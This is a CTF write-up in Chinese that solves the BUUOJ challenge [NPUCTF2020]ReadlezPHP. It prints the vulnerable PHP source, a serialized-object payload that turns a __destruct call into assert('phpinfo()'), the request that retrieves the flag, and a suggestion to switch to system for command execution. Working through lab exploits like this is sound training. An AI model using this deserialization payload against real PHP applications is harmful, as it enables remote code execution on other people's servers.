NPUCTF2020]ReadlezPHP

作者:Hopeace

靶机地址:https://buuoj.cn/challenges#[NPUCTF2020]ReadlezPHP

0x01 浏览题目

主页和源代码都没有什么有用的信息

抓包试试response里有木有东西

http://www.nwpu.edu.cn

西工大的宣传页面,对此题属于无用信息

扫目录,没有结果

再仔细看一遍源代码

ctrl + f 搜索.php看有没有泄露的目录

找到了

time.php?source

得到了一段代码

<?php
#error_reporting(0);
class HelloPhp
{
    
    
    public $a;
    public $b;
    public function __construct(){
    
    
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
    
    
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    
    
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

0x02 分析题目

看到了unserialize函数基本就确定了现在需要去做反序列化操作了

构造

<?php
class HelloPhp
{
    
    
	public $a;
    public $b;
}
$c = new HelloPhp;
$c->a = "Y-m-d h:i:s";
$c->b = "date";
$payload = serialize(c);
echo $payload;

?>

得到一段反序列化字符串

O:8:“HelloPhp”:2:{s:1:“a”;s:11:“Y-m-d h:i:s”;s:1:“b”;s:4:“date”;}

呃呃不对

php @

阻止警告输出。
有些函数,在遇到入参不正确时,会提示警告,但程序也可以正常运行。其实只要把警告去掉就可以,所以就有@这个符号。

0x03 复现

刚刚忽略了一段很重要的代码

public function __destruct(){
    
    
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

b ( b( b(a)可以用来构造一下函数结构

如下给变量a,b赋值

<?php
class HelloPhp
{
    
    
	public $a;
    public $b;
}
$c = new HelloPhp;
$c->a = "phpinfo()";
$c->b = assert;
$payload = serialize($c);
echo $payload;
?>

得到

O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

运行一下,

time.php?data=O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

成功打入phpinfo()的界面

搜索flag,正好是放在这里

flag{24dd0dd6-a71b-4005-9b53-7e49aff6ddee}

0x04 补充

即使flag没在phpinfo()里面

也可以构造一句话木马

如b赋值system

a再写命令如"ls /"等等

猜你喜欢

转载自blog.csdn.net/Hopeace/article/details/120874319
今日推荐